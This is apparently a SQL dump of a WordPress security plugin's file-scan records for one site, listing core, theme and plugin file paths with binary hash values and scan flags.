('P@;b<\nc','wp-includes/class-wp-oembed-controller.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-oembed-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vGwEJW&','-#&{̡6e`C+E\'\\','',0,'?'),
('PM\ZI̸ݭY`r','wp-content/plugins/wordfence/lib/wfHelperString.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfHelperString.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')`E','OMCn=O5hKE,q`*','',0,'?'),
('P1$\\*C','wp-admin/images/stars-2x.png','/home/trevorkl/trevorklee.com/wp-admin/images/stars-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A#SMe.^','[耿_(\rhYTqZ','',0,'?'),
('PޏL~aI7\')','wp-includes/js/dist/script-modules/content-types/index.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/content-types/index.min.js',0,'e+7JױD*','e+7JױD*','\".A&AȺ`u&Vf\'{Q]','',0,'?'),
('P0aRz= ','wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.ttf','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.ttf',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3gkeͿݾ|h','Hzj鞨%p=ZiNAZ','',0,'?'),
('PZy7qXI9','wp-includes/blocks/post-author-biography/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author-biography/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','s3Ahd~@_P','T|Pj4h(/ؗdll','',0,'?'),
('Q\0\nEu	V	','wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OAuth/OAuthUtil.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OAuth/OAuthUtil.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r9Vd\r.','a{H}V\n~KXlID','',0,'?'),
('Q;(Mp*','wp-admin/js/widgets/media-widgets.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/widgets/media-widgets.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dG\\)n','UU0n-՟b&NEc\\5Ɠׁ!','',0,'?'),
('Q?ٟgL|ua','wp-includes/class-wp-textdomain-registry.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-textdomain-registry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vkDf\\g',':gt	[9Ɂ[Lv*^Lg','',0,'?'),
('QCȧ$9B)M','wp-includes/blocks/tag-cloud/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/tag-cloud/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-lѤyN{',']	^3c=G5\n\',','',0,'?'),
('QJs3RaU*s','wp-content/themes/twentynineteen/index.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/index.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','հ&Tgs\r','0ed sXQ83Z','',0,'?'),
('QT*fP.','wp-admin/includes/file.php','/home/trevorkl/trevorklee.com/wp-admin/includes/file.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{O֓C.Ns)J','F\ZThæMamf2Dm','',0,'?'),
('QY1TlVr<','wp-includes/js/customize-views.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-views.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6õd9F','h$i?VARUdH','',0,'?'),
('QcK^J&OЋ','wp-includes/connectors.php','/home/trevorkl/trevorklee.com/wp-includes/connectors.php',0,'TI;3i\\','TI;3i\\','.DcY߂Iv0]\"','',0,'?'),
('QqPOQJ','wp-includes/fonts/class-wp-font-face.php','/home/trevorkl/trevorklee.com/wp-includes/fonts/class-wp-font-face.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ݪ(Ui>Ss','M-)ڧA>J\r.ȃ&om)z+','',0,'?'),
('QuoPX\0Sڞ','wp-admin/images/bubble_bg.gif','/home/trevorkl/trevorklee.com/wp-admin/images/bubble_bg.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~g<ćI0','\'+uW`-AS\'}S~Sb','',0,'?'),
('Qwat%F%2','wp-content/themes/twentytwenty/templates/template-full-width.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/templates/template-full-width.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[6i\"Y|f8K','HhE.Pڬ.MeMo@\0W','',0,'?'),
('Q7d','wp-includes/SimplePie/src/Sanitize.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Sanitize.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`\\Ƚ~3֪-P','¯eB8@d@o5ҼoJHá!j ','',0,'?'),
('QPA鐚z','wp-includes/blocks/columns/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/columns/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Rr4{6G','yU47\"!\'R@rOk<=NI\n~UX','',0,'?'),
('Qva*\n^lh\r','wp-includes/js/tinymce/plugins/media/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/media/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('QP5ZwNia','wp-includes/blocks/quote/theme.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/quote/theme.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','uFӈ@T~S}','A3m{dIƐiw 	\rli','',0,'?'),
('Q}i)s>%Uu','wp-content/themes/twentytwentyfour/patterns/template-search-portfolio.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-search-portfolio.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3 2Z_4N=','F8eD?m=\\.A(I@\Z;W[','',0,'?'),
('Q6K4H','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t$rהQ%2','Ep}6cX7>2','',0,'?'),
('Qx̿Py\'uE|','wp-includes/blocks/page-list/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/page-list/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5$1K@}<iO','78X|ua\Zpv^qZ`','',0,'?'),
('Q-C-]C','wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E/i?ݶ83|E]','C#OKKؗB.FYƉ+EwFKY9.','',0,'?'),
('QGm@s\\:e:','wp-content/themes/twentytwentyfive/parts/footer-columns.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/parts/footer-columns.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/CɾKIpA','5%33BԊߋ2+	eG','',0,'?'),
('Q9nb7\rnH/?0,','wp-includes/js/dist/private-apis.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/private-apis.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(V}lqPY3','Y\rNJ$8@\\\njd;̈́','',0,'?'),
('Q`8M8','wp-admin/press-this.php','/home/trevorkl/trevorklee.com/wp-admin/press-this.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':ƛ{tY[:g\Z','i>[t\"{D[\r:gUlt:P,p','',0,'?'),
('Qp4V:(a6','wp-includes/js/dist/script-modules/interactivity/index.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/interactivity/index.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M?ncS\"','&~Ȧl\0(΄1,7<&%','',0,'?'),
('QW+/XM<L','wp-includes/SimplePie/src/Cache/File.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/File.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']7|O','pU<ihFEu	ݽqF','',0,'?'),
('QYQf7@2xC','wp-content/themes/twentynineteen/images/pattern_02.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/images/pattern_02.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','OO8,;','GɎk&4Uew>\r~F','',0,'?'),
('QG72C\ri','wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O5#Ѡ','ds2;{v01(\'@O-H\r','',0,'?'),
('Qlg-','wp-admin/js/comment.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/comment.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%Xv4\nl','G}P8wCjIȀOKîX~3','',0,'?'),
('Rv5W6`ھ','wp-includes/css/dist/nux/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/nux/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4ЦvW=W',':IfrtY^&YN<A5=\\5','',0,'?'),
('R3Us3}T','wp-includes/js/autosave.js','/home/trevorkl/trevorklee.com/wp-includes/js/autosave.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hr¥MLw','ƻw̆>rCh.:l','',0,'?'),
('R8yҞ綄','wp-includes/css/dist/block-editor/content-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-editor/content-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' yx)iWztsm','($%A\rJt>GR{Kԇxw@','',0,'?'),
('RQb7f |~ۓ(','wp-admin/js/widgets.js','/home/trevorkl/trevorklee.com/wp-admin/js/widgets.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4>APPu4Ą','v5ᐪmє\"-*~``Qg1F/','',0,'?'),
('RaceJT','wp-content/themes/twentytwentyone/assets/sass/03-generic/clearings.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/03-generic/clearings.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3Iw>A\n','F\0O.Qm+vHjEodFX','',0,'?'),
('RjqIӏ\ZY&','wp-includes/sodium_compat/src/Core/Curve25519/H.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0\rJ`X\"8by','oHiYN3	>_J,S^','',0,'?'),
('R1?YVDt','wp-content/plugins/wordfence/lib/.htaccess','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/.htaccess',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E\"xK{8dS','C\'r9@Kކtw#@k','',0,'?'),
('Rb:ZKL','wp-admin/js/application-passwords.js','/home/trevorkl/trevorklee.com/wp-admin/js/application-passwords.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B\"5pC\05P;.','	>W̞66}{F+*CWVJ','',0,'?'),
('Rpˁ\\\Z2u','wp-includes/customize/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/customize/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Rx4Mp@9u\n֊ p','wp-includes/images/wpspin.gif','/home/trevorkl/trevorklee.com/wp-includes/images/wpspin.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$n4H{','-*znD,\"aHKHrޱ~\Zy\Z%','',0,'?'),
('R|Rx/bzn9\0*J','wp-admin/includes/plugin-install.php','/home/trevorkl/trevorklee.com/wp-admin/includes/plugin-install.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(_$hۤ`','+ډ_#&yc','',0,'?'),
('R6܈@2iDbm\n','wp-includes/js/dist/script-modules/block-library/file/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/file/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('R\\SC|ju9A','wp-includes/js/media-grid.js','/home/trevorkl/trevorklee.com/wp-includes/js/media-grid.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7	[%\rypl','|?B\"Woau,uBq%#','',0,'?'),
('R$?\\BW	','wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-VariableFont_wght.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-VariableFont_wght.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	\0SJg	G-6ϭ','ss>P사Ӷ*3\Zln[\"','',0,'?'),
('R¥Leq	&','wp-admin/js/user-suggest.js','/home/trevorkl/trevorklee.com/wp-admin/js/user-suggest.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jl,f.Vh','\ZԂ	8՜g\\ISグ6','',0,'?'),
('RsiW[%','wp-includes/SimplePie/library/SimplePie/XML/Declaration/Parser.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/XML/Declaration/Parser.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\roO0!k','yAy	v4.W2sF8h','',0,'?'),
('RܰoL8~\\lCR','wp-includes/blocks/audio/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/audio/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z#@ϛ\0v','ͲCOR̋<l%n\ZS>*','',0,'?'),
('RH\r0!d?c&','wp-includes/widgets/class-wp-widget-categories.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-categories.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UWܹh','ùPΆ\"lgX`@','',0,'?'),
('S?dxSَ@','wp-includes/blocks/query-pagination/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?k.׶*נ ','؊rHL=]ؙ!_\'d','',0,'?'),
('S?#/ǚn	Tk','wp-content/plugins/loginizer/main/ajax.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/main/ajax.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UL?k\0k]\Zg','7ۃ]//MRYk$G','',0,'?'),
('SVf=1_Mwr>\"J\n','wp-includes/blocks/comments-pagination/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"\Z?I{>','hY=\"f+ZƲ{<lm\0翦P).E','',0,'?'),
('Sq˺k','wp-content/plugins/wordfence/modules/login-security/views/passkey/register.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/register.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A\n,Tph\ZwP','ph3C}Ȫmq^ܷU#\r{','',0,'?'),
('S!7Y*e4JS','wp-includes/blocks/comment-template/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-template/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\o(msZMU}','[\0ƕhH#aBDsO','',0,'?'),
('S)I(4VA','wp-includes/blocks/accordion/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oJCX$R','pVNeBG!;','',0,'?'),
('S.FȫAj(:','wp-includes/js/hoverIntent.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/hoverIntent.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ң4K','z\\:Ǝ[4d`}{;ѕfxLԩ=','',0,'?'),
('S/dscx\0Ioa','wp-content/.rs_g1/index.html','/home/trevorkl/trevorklee.com/wp-content/.rs_g1/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('S0־K/17u','wp-includes/js/jquery/ui/selectmenu.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/selectmenu.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ԧ_grm-','OB xuNB>q9Zx윚v','',0,'?'),
('SX+71?-','wp-includes/js/jcrop/Jcrop.gif','/home/trevorkl/trevorklee.com/wp-includes/js/jcrop/Jcrop.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z7eQ%K','!@X7JŃp3K;S*!L','',0,'?'),
('Sj~6{X','wp-admin/css/colors/modern/colors-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/modern/colors-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6(T^CL[6~','m]C}(\r \rVlEãǈ9','',0,'?'),
('St$KYb!Nx\r','wp-content/themes/twentytwentythree/style.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H1 eir','~1G2=h&IrMyPBf','',0,'?'),
('SzWNKUS','wp-includes/blocks/calendar.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/calendar.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ad(GڧR*','rso?+vLATkѮ<؍','',0,'?'),
('SCi1ۭj','wp-content/plugins/wordfence/modules/login-security/classes/controller/settings.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/settings.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=a][Hģ',')q㔙u/ח[M9]K3O','',0,'?'),
('Sp>WrYE','wp-comments-post.php','/home/trevorkl/trevorklee.com/wp-comments-post.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AJ3^!@Dx','wsn8`wi','',0,'?'),
('S\\1ԇtVwG','wp-includes/blocks/query-pagination/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('St J9G','wp-includes/css/dist/block-directory/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-directory/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CF\Z$Ϣjd','kn>d\'?uQBJ}R<,C','',0,'?'),
('S8gOCwi','wp-includes/js/dist/script-modules/block-editor/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-editor/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('S\npލG%','wp-content/plugins/wordfence/crypto/vendor/composer/LICENSE','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/composer/LICENSE',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']_#D\0','\Z ے%4~N~Gh!b:wɌ\'','',0,'?'),
('S+LjS23','wp-includes/js/tinymce/skins/lightgray/img/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/img/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('SBw{N_>','wp-content/themes/twentytwentytwo/assets/images/icon-binoculars.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/icon-binoculars.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2=5\'','ԗ&Iپȡ\0	Pa!\\c7','',0,'?'),
('Sto','wp-includes/block-supports/aria-label.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/aria-label.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kp@K,25','K+-̧$\"F`l_=','',0,'?'),
('S&az8Jض9','wp-includes/widgets.php','/home/trevorkl/trevorklee.com/wp-includes/widgets.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z. >`/e','b3Ns&\ZB0?kĖ\'\0ol','',0,'?'),
('S;YdIJW','wp-content/themes/twentytwentythree/templates/blank.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/blank.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0xzeF=','\n#FV~0Q%*LFkR','',0,'?'),
('Tr~W]','wp-includes/class-wp-comment.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-comment.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F&B\n42~/q','\"*c=6;ޡDPiose','',0,'?'),
('T*À[gvk','wp-content/plugins/wordfence/css/license/response-global.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/response-global.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p&>EIV','0%$F;\"846#Bā~','',0,'?'),
('T6K?s 7(','wp-includes/customize/class-wp-customize-sidebar-section.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-sidebar-section.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VjBرq','{#i`\0j` pǍ+fF','',0,'?'),
('T:(KZ32','wp-admin/user/contribute.php','/home/trevorkl/trevorklee.com/wp-admin/user/contribute.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Eg	\\v','&\0J<4\\Jq8Lq\'','',0,'?'),
('T??:q׮Pah\'','wp-content/plugins/wordfence/views/reports/activity-report-email-inline.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/reports/activity-report-email-inline.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0dWmب{}','|LMi$+|S.Z1','',0,'?'),
('TL>ǧ0&@3','wp-content/themes/twentytwentyfour/assets/fonts/cardo/cardo_italic_400.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/cardo/cardo_italic_400.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','--U!^*MUaq','s@TZx9FfӞS{*)5y<','',0,'?'),
('TMl','wp-admin/includes/class-wp-screen.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-screen.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d<.׍lne','`\nNIb!Ɏlx}\r8$G⹉?+','',0,'?'),
('TO_רwEϧ<v΍','wp-includes/blocks/navigation/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(POkد','d<ی#iGw\\eI!+Ne','',0,'?'),
('Tn;3PS6','wp-includes/css/classic-themes.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/classic-themes.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZЗe|LZ','Uؚ`\0jAm\rǩ2##','',0,'?'),
('Tvs2+g8G6','wp-includes/blocks/post-comments-count/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-count/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Tw=+6','wp-includes/js/tinymce/wp-tinymce.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/wp-tinymce.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')S0Fxrq','pevCk\r?	t,ڨ¢Sv!\ra','',0,'?'),
('T{\'g,(:~G','wp-content/themes/twentynineteen/footer.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/footer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ڈLBPEn\\^	P','RSV%6){Ox2NA','',0,'?'),
('T|Ea6C','wp-content/well-known/acme-challenge/d/f/a/d/d/index.php','/home/trevorkl/trevorklee.com/wp-content/well-known/acme-challenge/d/f/a/d/d/index.php',0,'<VJؕjZ~~-~','<VJؕjZ~~-~','\0(ٔ|\ZNʘd6','',0,'?'),
('T.o@Ψ2wvX','wp-includes/js/jcrop/jquery.Jcrop.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jcrop/jquery.Jcrop.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2FjGZvCQ\0`[','U=OmC5y}5\\|\0','',0,'?'),
('Tvm?,aT4','wp-includes/ID3/module.audio-video.quicktime.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/module.audio-video.quicktime.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','έyT3К?JS','!\ZoFGLAq#(ƃ݇phP','',0,'?'),
('T\rfV+ j','wp-content/plugins/wordfence/modules/login-security/views/page/tabbar.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/tabbar.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']\nW٭\'','k4:s7g/.gD4̷Di','',0,'?'),
('T9Af$)S<~','wp-content/maintenance.php','/home/trevorkl/trevorklee.com/wp-content/maintenance.php',0,'ӣC󻵮-m','ӣC󻵮-m','+ۡiҠ NZkBқfѢ','',0,'?'),
('T`52z/>w','wp-includes/blocks/query-pagination/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?k.׶*נ ','؊rHL=]ؙ!_\'d','',0,'?'),
('TsL\\q','wp-content/themes/twentytwentyfour/parts/footer.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/parts/footer.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Mo^t-9','3i&aP{d4J{R','',0,'?'),
('TړbIv}z5','wp-includes/blocks/avatar/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/avatar/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','D||PyXG','~_8x~5K<A{ؚe ','',0,'?'),
('T܌7`\0(','wp-includes/js/mediaelement/renderers/vimeo.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/renderers/vimeo.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C9YO','+®-FVpݨIhtLiP%Ki6','',0,'?'),
('T,c*`6B5','wp-content/plugins/loginizer/main/settings/brute-force.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/main/settings/brute-force.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y9xZA',':YZWE(|7\"Iq3jyL~','',0,'?'),
('UI_Ym_','wp-content/plugins/wordfence/lib/menu_tools_livetraffic.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_tools_livetraffic.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>s칡Jc7@+U','8jY>th,Ya\ZmHS','',0,'?'),
('UNs/Hàu8v','wp-includes/sitemaps/lpshcut/udgvzwn/gnjmtri/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/lpshcut/udgvzwn/gnjmtri/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('UXk%O@8','wp-includes/compat-utf8.php','/home/trevorkl/trevorklee.com/wp-includes/compat-utf8.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G(cY\nt`\'','ogިTo(ʾeFp:<>a:','',0,'?'),
('UetA&R|\rQV','wp-content/themes/twentytwentyone/assets/sass/04-elements/forms-editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/04-elements/forms-editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')Xgr~\rW','AHg[rG^kΘi<\0','',0,'?'),
('UmD3%x','wp-content/plugins/wordfence/languages/wordfence.pot','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/languages/wordfence.pot',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','EVg(}x','\"@ ʐݷIX-f\0O:?','',0,'?'),
('UnhGKoG7','wp-content/plugins/akismet/class-akismet-abilities.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class-akismet-abilities.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	i`8rr',';QȨ{)f\nt\"څA:\\','',0,'?'),
('Upݽ5lu51','wp-content/themes/twentytwentythree/parts/comments.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/parts/comments.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','D\'c2G5y','2:`@Aqr\Z\r?,񵟞','',0,'?'),
('U.G\0h7K','wp-content/plugins/wordfence/modules/login-security/classes/model/view/tab.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/view/tab.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^ހ5>;Wm=4','Kpޛ*93,K.ocJI','',0,'?'),
